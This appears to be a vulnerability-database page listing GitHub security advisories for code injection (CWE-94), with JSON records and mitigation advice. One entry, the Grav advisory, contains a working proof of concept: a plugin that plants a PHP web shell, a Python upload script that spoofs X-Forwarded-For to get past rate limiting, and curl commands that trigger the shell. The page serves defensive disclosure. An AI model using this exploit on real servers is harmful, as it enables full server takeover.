Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8289 vulnerabilities reference this CWE, most recent first.

GHSA-W3X5-427H-WFQ6

Vulnerability from github – Published: 2022-12-09 20:19 – Updated: 2022-12-09 20:19
VLAI
Summary
Spring Boot Admins integrated notifier support allows arbitrary code execution
Details

Impact

All users who run Spring Boot Admin Server, having enabled Notifiers (e.g. Teams-Notifier) and write access to environment variables via UI are possibly affected.

Patches

In the most recent releases of Spring Boot Admin 2.6.10 and 2.7.8 the issue is fixed by implementing SimpleExecutionContext of SpEL. This prevents the arbitrary code execution (i.e. SpEL injection).

Workarounds

  • Disable any notifier
  • Disable write access (POST request) on /env actuator endpoint
Severity
8.0 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "de.codecentric:spring-boot-admin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "de.codecentric:spring-boot-admin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "de.codecentric:spring-boot-admin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-M1"
            },
            {
              "fixed": "3.0.0-M6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-46166"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-09T20:19:32Z",
    "nvd_published_at": "2022-12-09T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nAll users who run Spring Boot Admin Server, having enabled Notifiers (e.g. Teams-Notifier) and write access to environment variables via UI are possibly affected.\n\n### Patches\nIn the most recent releases of Spring Boot Admin 2.6.10 and 2.7.8 the issue is fixed by implementing `SimpleExecutionContext` of SpEL. This prevents the arbitrary code execution (i.e. SpEL injection).\n\n### Workarounds\n * Disable any notifier\n * Disable write access (POST request) on `/env` actuator endpoint\n\n",
  "id": "GHSA-w3x5-427h-wfq6",
  "modified": "2022-12-09T20:19:32Z",
  "published": "2022-12-09T20:19:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/codecentric/spring-boot-admin/security/advisories/GHSA-w3x5-427h-wfq6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/codecentric/spring-boot-admin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring Boot Admins integrated notifier support allows arbitrary code execution"
}

GHSA-W3X6-R727-HR8F

Vulnerability from github – Published: 2023-10-30 21:33 – Updated: 2023-11-08 00:30
VLAI
Details

tinyfiledialogs (aka tiny file dialogs) before 3.8.0 allows shell metacharacters in titles, messages, and other input data.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2020-36767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-30T19:15:07Z",
    "severity": "HIGH"
  },
  "details": "tinyfiledialogs (aka tiny file dialogs) before 3.8.0 allows shell metacharacters in titles, messages, and other input data.",
  "id": "GHSA-w3x6-r727-hr8f",
  "modified": "2023-11-08T00:30:20Z",
  "published": "2023-10-30T21:33:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36767"
    },
    {
      "type": "WEB",
      "url": "https://github.com/servo/servo/issues/25498#issuecomment-703527082"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W3XM-HMG3-M749

Vulnerability from github – Published: 2022-05-02 03:52 – Updated: 2022-05-02 03:52
VLAI
Details

PHP remote file inclusion vulnerability in modules/pms/index.php in Ciamos CMS 0.9.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the module_path parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2009-4156"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-12-02T17:30:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in modules/pms/index.php in Ciamos CMS 0.9.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the module_path parameter.",
  "id": "GHSA-w3xm-hmg3-m749",
  "modified": "2022-05-02T03:52:19Z",
  "published": "2022-05-02T03:52:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4156"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/10259"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/37160"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W437-CQHG-F7J8

Vulnerability from github – Published: 2022-05-17 04:43 – Updated: 2022-05-17 04:43
VLAI
Details

Apache CouchDB before 1.0.4, 1.1.x before 1.1.2, and 1.2.x before 1.2.1 allows remote attackers to execute arbitrary code via a JSONP callback, related to Adobe Flash.

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{
  "affected": [],
  "aliases": [
    "CVE-2012-5649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-05-23T14:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Apache CouchDB before 1.0.4, 1.1.x before 1.1.2, and 1.2.x before 1.2.1 allows remote attackers to execute arbitrary code via a JSONP callback, related to Adobe Flash.",
  "id": "GHSA-w437-cqhg-f7j8",
  "modified": "2022-05-17T04:43:08Z",
  "published": "2022-05-17T04:43:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5649"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/bugtraq/2013-01/0057.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-February/098089.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-February/098092.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/51765"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2013:067"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/57314"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W464-9HHF-HV98

Vulnerability from github – Published: 2022-05-01 18:36 – Updated: 2025-04-09 03:48
VLAI
Details

Multiple PHP remote file inclusion vulnerabilities in the BackUpWordPress 0.4.2b and earlier plugin for WordPress allow remote attackers to execute arbitrary PHP code via a URL in the bkpwp_plugin_path parameter to (1) plugins/BackUp/Archive.php; and (2) Predicate.php, (3) Writer.php, (4) Reader.php, and other unspecified scripts under plugins/BackUp/Archive/.

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{
  "affected": [],
  "aliases": [
    "CVE-2007-5800"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-11-03T00:46:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in the BackUpWordPress 0.4.2b and earlier plugin for WordPress allow remote attackers to execute arbitrary PHP code via a URL in the bkpwp_plugin_path parameter to (1) plugins/BackUp/Archive.php; and (2) Predicate.php, (3) Writer.php, (4) Reader.php, and other unspecified scripts under plugins/BackUp/Archive/.",
  "id": "GHSA-w464-9hhf-hv98",
  "modified": "2025-04-09T03:48:01Z",
  "published": "2022-05-01T18:36:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5800"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/38212"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4593"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38476"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38477"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38478"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38479"
    },
    {
      "type": "WEB",
      "url": "http://wordpress.designpraxis.at/2007/11/01/backupwordpress-security-release"
    },
    {
      "type": "WEB",
      "url": "http://wordpress.designpraxis.at/2007/11/01/security-vulnerability-in-backupwordpress"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26290"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/3744"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W47H-R52J-2XJQ

Vulnerability from github – Published: 2022-05-13 01:11 – Updated: 2025-04-20 03:35
VLAI
Details

Pixie 1.0.4 allows remote authenticated users to upload and execute arbitrary PHP code via the POST data in an admin/index.php?s=publish&x=filemanager request for a filename with a double extension, such as a .jpg.php file with Content-Type of image/jpeg.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2017-7402"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-03T17:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "Pixie 1.0.4 allows remote authenticated users to upload and execute arbitrary PHP code via the POST data in an admin/index.php?s=publish\u0026x=filemanager request for a filename with a double extension, such as a .jpg.php file with Content-Type of image/jpeg.",
  "id": "GHSA-w47h-r52j-2xjq",
  "modified": "2025-04-20T03:35:22Z",
  "published": "2022-05-13T01:11:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7402"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/41784"
    },
    {
      "type": "WEB",
      "url": "http://rungga.blogspot.co.id/2017/04/remote-file-upload-vulnerability-in.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W47Q-999H-2H55

Vulnerability from github – Published: 2022-05-02 06:20 – Updated: 2022-05-02 06:20
VLAI
Details

Windows Shell and WordPad in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7; Microsoft Office XP SP3; Office 2003 SP3; and Office System 2007 SP1 and SP2 do not properly validate COM objects during instantiation, which allows remote attackers to execute arbitrary code via a crafted file, aka "COM Validation Vulnerability."

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{
  "affected": [],
  "aliases": [
    "CVE-2010-1263"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-06-08T20:30:00Z",
    "severity": "HIGH"
  },
  "details": "Windows Shell and WordPad in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7; Microsoft Office XP SP3; Office 2003 SP3; and Office System 2007 SP1 and SP2 do not properly validate COM objects during instantiation, which allows remote attackers to execute arbitrary code via a crafted file, aka \"COM Validation Vulnerability.\"",
  "id": "GHSA-w47q-999h-2h55",
  "modified": "2022-05-02T06:20:45Z",
  "published": "2022-05-02T06:20:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1263"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-036"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-083"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7286"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/40574"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1024555"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA10-159B.html"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA10-285A.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W48R-JPPP-RCFW

Vulnerability from github – Published: 2026-05-05 21:21 – Updated: 2026-05-13 13:50
VLAI
Summary
Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature
Details

Summary

An authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the "Direct Install" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server.

Details

The vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core.

  • Vulnerable Endpoints: /admin/tools/direct-install
  • Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285).
  • Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/

plugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive.

PoC

  1. Prepare the Malicious Plugin

Create a directory named shellplugin and add the following files:

shellplugin.php:


<?php
namespace Grav\Plugin;
use Grav\Common\Plugin;

class ShellpluginPlugin extends Plugin {
    public static function getSubscribedEvents(): array {
        return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];
    }
    public function onPluginsInitialized(): void {
        $shell_path = GRAV_ROOT . '/shell.php';
        if (!file_exists($shell_path)) {
            file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>');
        }
    }
}

(Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards).

  1. Create the ZIP Archive
`zip -r /tmp/shellplugin.zip shellplugin/`

3. Execute the Exploit Script
Run the following Python script to automate the login, nonce retrieval, and malicious upload process:

`import requests, re, json


s = requests.Session()
BASE_URL = 'http://127.0.0.1'

1. Login and Bypass Rate Limit via X-Forwarded-For

r = s.get(f'{BASE_URL}/admin')
nonce = re.search(r'name="login-nonce" value="([^"]+)"', r.text).group(1)

r2 = s.post(f'{BASE_URL}/admin',
    headers={'X-Forwarded-For': '10.0.0.3'},
    data={'data[username]': 'admin', 'data[password]': 'admin_password_here', 'task': 'login', 'login-nonce': nonce},
    allow_redirects=False)

redirect = json.loads(r2.text)['redirect']
s.get(redirect)
print(f"[+] Logged in successfully.")

2. Extract Admin Nonce from Tools Page

tools = s.get(f'{BASE_URL}/admin/tools/direct-install')
admin_nonce = re.search(r'admin-nonce.*?value="([a-f0-9]{32})"', tools.text).group(1)
print(f"[+] Retrieved Admin Nonce: {admin_nonce}")

3. Upload and Execute

with open('/tmp/shellplugin.zip', 'rb') as f:
    zip_data = f.read()

resp = s.post(f'{BASE_URL}/admin/tools/direct-install',
    data={'task': 'directInstall', 'admin-nonce': admin_nonce},
    files={'uploaded_file': ('shellplugin.zip', zip_data, 'application/zip')},
    headers={'X-Forwarded-For': '10.0.0.3'}
)

if "installation" in resp.text.lower():
    print("[+] Plugin installed successfully!")
    # Trigger the shell
    s.get(BASE_URL) 
    print(f"[+] RCE Check: {BASE_URL}/shell.php?cmd=id")`

4. Verification

Access the dropped shell to confirm command execution: curl -s "http://127.0.0.1/shell.php?cmd=whoami"

resim (2)

resim (3)

Impact

  • Vulnerability Type: Remote Code Execution (RCE) / Path Traversal (via extraction).
  • Who is impacted: Any Grav installation where the Admin plugin is enabled and an attacker has gained administrative access (or an administrator is tricked into uploading a malicious ZIP).
  • Severity: Critical. Although it requires admin privileges, the ability to gain full server control (system-level access) makes this a high-impact finding, especially in multi-user environments or via CSRF/Session hijacking.

Maintainer note — partial fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit 5a12f9be8 — ships in 2.0.0-beta.2.

What changed (path layer): Installer::unZip now pre-validates every entry name before calling ZipArchive::extractTo, and aborts the install if any entry looks like a Zip Slip primitive — .. path segments, absolute paths (Unix /… or Windows C:\…/\…), or NUL bytes. A crafted ZIP can no longer write files outside the target user/plugins/<slug> or user/themes/<slug> directory.

Explicit scope limitation: the "well-formed but malicious plugin code" angle of the PoC — uploading a plugin whose own PHP is the payload — is not addressed by this change. directInstall is an administrator-only operation whose explicit purpose is to install arbitrary PHP; defending against it would require a plugin-signing or marketplace-allowlist feature, which is a separate roadmap item. Administrators should only install plugins from trusted sources. This is now explicitly documented in the commit note.

Files: - system/src/Grav/Common/GPM/Installer.php — new isSafeArchiveEntry() helper + pre-extract validation loop. - tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php — 21 cases covering Unix/Windows/URL-encoded traversal primitives and legitimate plugin names.

Acknowledgements

The issue was identified by Security Researcher Mustafa Murat Akgül.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-beta.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42607"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:21:10Z",
    "nvd_published_at": "2026-05-11T16:17:32Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nAn authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the \"Direct Install\" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server.\n\n### Details\n\nThe vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core.\n\n-    Vulnerable Endpoints: /admin/tools/direct-install\n-   Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285).\n-    Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/\n\nplugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive.\n\n### PoC\n1. Prepare the Malicious Plugin\n\nCreate a directory named shellplugin and add the following files:\n\nshellplugin.php:\n```\n\n\u003c?php\nnamespace Grav\\Plugin;\nuse Grav\\Common\\Plugin;\n\nclass ShellpluginPlugin extends Plugin {\n    public static function getSubscribedEvents(): array {\n        return [\u0027onPluginsInitialized\u0027 =\u003e [\u0027onPluginsInitialized\u0027, 0]];\n    }\n    public function onPluginsInitialized(): void {\n        $shell_path = GRAV_ROOT . \u0027/shell.php\u0027;\n        if (!file_exists($shell_path)) {\n            file_put_contents($shell_path, \u0027\u003c?php system($_GET[\"cmd\"]); ?\u003e\u0027);\n        }\n    }\n}\n\n```\n(Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards).\n\n2. Create the ZIP Archive\n```\n`zip -r /tmp/shellplugin.zip shellplugin/`\n\n3. Execute the Exploit Script\nRun the following Python script to automate the login, nonce retrieval, and malicious upload process:\n\n`import requests, re, json\n\n\ns = requests.Session()\nBASE_URL = \u0027http://127.0.0.1\u0027\n```\n\n#### 1. Login and Bypass Rate Limit via X-Forwarded-For\n```\nr = s.get(f\u0027{BASE_URL}/admin\u0027)\nnonce = re.search(r\u0027name=\"login-nonce\" value=\"([^\"]+)\"\u0027, r.text).group(1)\n\nr2 = s.post(f\u0027{BASE_URL}/admin\u0027,\n    headers={\u0027X-Forwarded-For\u0027: \u002710.0.0.3\u0027},\n    data={\u0027data[username]\u0027: \u0027admin\u0027, \u0027data[password]\u0027: \u0027admin_password_here\u0027, \u0027task\u0027: \u0027login\u0027, \u0027login-nonce\u0027: nonce},\n    allow_redirects=False)\n\nredirect = json.loads(r2.text)[\u0027redirect\u0027]\ns.get(redirect)\nprint(f\"[+] Logged in successfully.\")\n\n```\n####  2. Extract Admin Nonce from Tools Page\n```\ntools = s.get(f\u0027{BASE_URL}/admin/tools/direct-install\u0027)\nadmin_nonce = re.search(r\u0027admin-nonce.*?value=\"([a-f0-9]{32})\"\u0027, tools.text).group(1)\nprint(f\"[+] Retrieved Admin Nonce: {admin_nonce}\")\n```\n\n####  3. Upload and Execute\n```\nwith open(\u0027/tmp/shellplugin.zip\u0027, \u0027rb\u0027) as f:\n    zip_data = f.read()\n\nresp = s.post(f\u0027{BASE_URL}/admin/tools/direct-install\u0027,\n    data={\u0027task\u0027: \u0027directInstall\u0027, \u0027admin-nonce\u0027: admin_nonce},\n    files={\u0027uploaded_file\u0027: (\u0027shellplugin.zip\u0027, zip_data, \u0027application/zip\u0027)},\n    headers={\u0027X-Forwarded-For\u0027: \u002710.0.0.3\u0027}\n)\n\nif \"installation\" in resp.text.lower():\n    print(\"[+] Plugin installed successfully!\")\n    # Trigger the shell\n    s.get(BASE_URL) \n    print(f\"[+] RCE Check: {BASE_URL}/shell.php?cmd=id\")`\n```\n    \n####  4. Verification\nAccess the dropped shell to confirm command execution:\n`curl -s \"http://127.0.0.1/shell.php?cmd=whoami\"`\n\n\u003cimg width=\"2547\" height=\"756\" alt=\"resim (2)\" src=\"https://github.com/user-attachments/assets/6a8c25f1-9a9d-469f-ab68-3c7007e446d4\" /\u003e\n\n\u003cimg width=\"898\" height=\"89\" alt=\"resim (3)\" src=\"https://github.com/user-attachments/assets/ec097785-1196-47a4-b24e-82fcbf0f7520\" /\u003e\n\n\n### Impact\n\n- Vulnerability Type: Remote Code Execution (RCE) / Path Traversal (via extraction).\n- Who is impacted: Any Grav installation where the Admin plugin is enabled and an attacker has gained administrative access (or an administrator is tricked into uploading a malicious ZIP).\n- Severity: Critical. Although it requires admin privileges, the ability to gain full server control (system-level access) makes this a high-impact finding, especially in multi-user environments or via CSRF/Session hijacking.\n\n## Maintainer note \u2014 partial fix applied (2026-04-24)\n\nFixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) \u2014 ships in **2.0.0-beta.2**.\n\n**What changed (path layer):** `Installer::unZip` now pre-validates every entry name before calling `ZipArchive::extractTo`, and aborts the install if any entry looks like a Zip Slip primitive \u2014 `..` path segments, absolute paths (Unix `/\u2026` or Windows `C:\\\u2026`/`\\\u2026`), or NUL bytes. A crafted ZIP can no longer write files outside the target `user/plugins/\u003cslug\u003e` or `user/themes/\u003cslug\u003e` directory.\n\n**Explicit scope limitation:** the \"well-formed but malicious plugin code\" angle of the PoC \u2014 uploading a plugin whose own PHP is the payload \u2014 is **not** addressed by this change. `directInstall` is an administrator-only operation whose explicit purpose is to install arbitrary PHP; defending against it would require a plugin-signing or marketplace-allowlist feature, which is a separate roadmap item. Administrators should only install plugins from trusted sources. This is now explicitly documented in the commit note.\n\n**Files:**\n- [`system/src/Grav/Common/GPM/Installer.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/GPM/Installer.php) \u2014 new `isSafeArchiveEntry()` helper + pre-extract validation loop.\n- [`tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php) \u2014 21 cases covering Unix/Windows/URL-encoded traversal primitives and legitimate plugin names.\n\n---\n\n### Acknowledgements\nThe issue was identified by Security Researcher **Mustafa Murat Akg\u00fcl**.\n\n\n---",
  "id": "GHSA-w48r-jppp-rcfw",
  "modified": "2026-05-13T13:50:59Z",
  "published": "2026-05-05T21:21:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42607"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/5a12f9be8314682c8713e569e330f11805d0a663"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature"
}

GHSA-W49P-PRJ8-6QFV

Vulnerability from github – Published: 2022-05-01 06:37 – Updated: 2022-05-01 06:37
VLAI
Details

PHP remote file include vulnerability in forum.php in oaBoard 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the inc_stat parameter, a different vulnerability than CVE-2006-0076. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.

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{
  "affected": [],
  "aliases": [
    "CVE-2006-0094"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-01-05T11:03:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file include vulnerability in forum.php in oaBoard 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the inc_stat parameter, a different vulnerability than CVE-2006-0076. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
  "id": "GHSA-w49p-prj8-6qfv",
  "modified": "2022-05-01T06:37:23Z",
  "published": "2022-05-01T06:37:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-0094"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/17373"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/0028"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W4CC-FHFH-RGG3

Vulnerability from github – Published: 2022-05-14 01:05 – Updated: 2022-05-14 01:05
VLAI
Details

Crestron TSW-1060, TSW-760, TSW-560, TSW-1060-NC, TSW-760-NC, and TSW-560-NC devices before 2.001.0037.001 allow unauthenticated remote code execution via a Bash shell service in Crestron Toolbox Protocol (CTP).

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2018-11228"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-08T01:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Crestron TSW-1060, TSW-760, TSW-560, TSW-1060-NC, TSW-760-NC, and TSW-560-NC devices before 2.001.0037.001 allow unauthenticated remote code execution via a Bash shell service in Crestron Toolbox Protocol (CTP).",
  "id": "GHSA-w4cc-fhfh-rgg3",
  "modified": "2022-05-14T01:05:54Z",
  "published": "2022-05-14T01:05:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11228"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-18-221-01"
    },
    {
      "type": "WEB",
      "url": "https://support.crestron.com/app/answers/answer_view/a_id/5471/~/the-latest-details-from-crestron-on-security-and-safety-on-the-internet"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105051"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
